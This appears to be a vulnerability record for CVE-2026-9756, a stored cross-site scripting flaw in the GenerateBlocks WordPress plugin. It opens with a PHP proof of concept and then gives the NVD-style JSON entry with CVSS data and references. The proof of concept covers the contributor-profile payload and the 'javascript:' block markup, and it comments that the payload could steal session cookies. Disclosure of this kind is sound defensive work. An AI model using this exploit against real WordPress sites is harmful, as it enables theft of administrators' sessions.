CVE-2026-9756

<?php /** * PoC for CVE-2026-9756 - GenerateBlocks Stored XSS via linkMetaFieldType * * Attack vector: * 1. Authenticate as a Contributor-level user * 2. Store a JavaScript payload in the user profile description field * (which is whitelisted by get_safe_user_meta_keys()) * 3. Create a Headline block with linkMetaFieldType set to * "javascript:<payload>" so the dynamic link resolves to the * attacker-controlled javascript: URI * 4. When any user (including admins) clicks the rendered headline * link, the stored payload executes in their browser * * NOTE: This is a conceptual reproduction snippet for educational * and defensive purposes only. */ // Step 1: As a Contributor, update profile description with JS payload // WordPress stores this in the usermeta table under 'description' $payload = "alert(document.cookie);//"; // example: steal session cookie wp_update_user([ 'ID' => $contributor_user_id, 'description' => $payload, ]); // Step 2: When creating/editing a post, insert a GenerateBlocks Headline // block via the REST API or block markup. The block attributes include: // // linkMetaFieldType = "javascript:" <-- attacker-controlled prefix // dynamicLinkType = "meta" <-- resolve href from user meta // linkMetaKey = "description" <-- whitelisted meta key // // Resulting rendered HTML (simplified): // <a href="javascript:alert(document.cookie);//">Click me</a> // // Step 3: Any visitor who clicks the link triggers the payload. // --- Equivalent raw block markup (Gutenberg block comment) --- /* <!-- wp:generateblocks/headline { "linkMetaFieldType":"javascript:", "dynamicLinkType":"meta", "linkMetaKey":"description", "tagName":"h2" } --> <h2><a href="javascript:alert(document.cookie);//">Headline text</a></h2> <!-- /wp:generateblocks/headline --> */

{"cve": {"id": "CVE-2026-9756", "sourceIdentifier": "[email protected]", "published": "2026-07-03T09:16:37.640", "lastModified": "2026-07-03T09:16:37.640", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GenerateBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Headline Block 'linkMetaFieldType' Dynamic Link Attribute in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A contributor-level attacker can store a JavaScript payload in their own profile description (allowlisted by get_safe_user_meta_keys()) and prepend 'javascript:' via the linkMetaFieldType attribute, creating a fully attacker-controlled href that executes when any user, including an administrator, clicks the rendered headline link."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "edge22", "product": "GenerateBlocks", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.2.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.0/includes/blocks/class-headline.php#L809", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.0/includes/class-dynamic-content.php#L816", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.0/includes/class-dynamic-tag-security.php#L582", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.1/includes/blocks/class-headline.php#L809", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.1/includes/class-dynamic-content.php#L816", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.2.1/includes/class-dynamic-tag-security.php#L582", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3582036%40generateblocks&new=3582036%40generateblocks&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aac15273-0a5d-4107-8249-7fff7f503005?source=cve", "source": "[email protected]"}]}}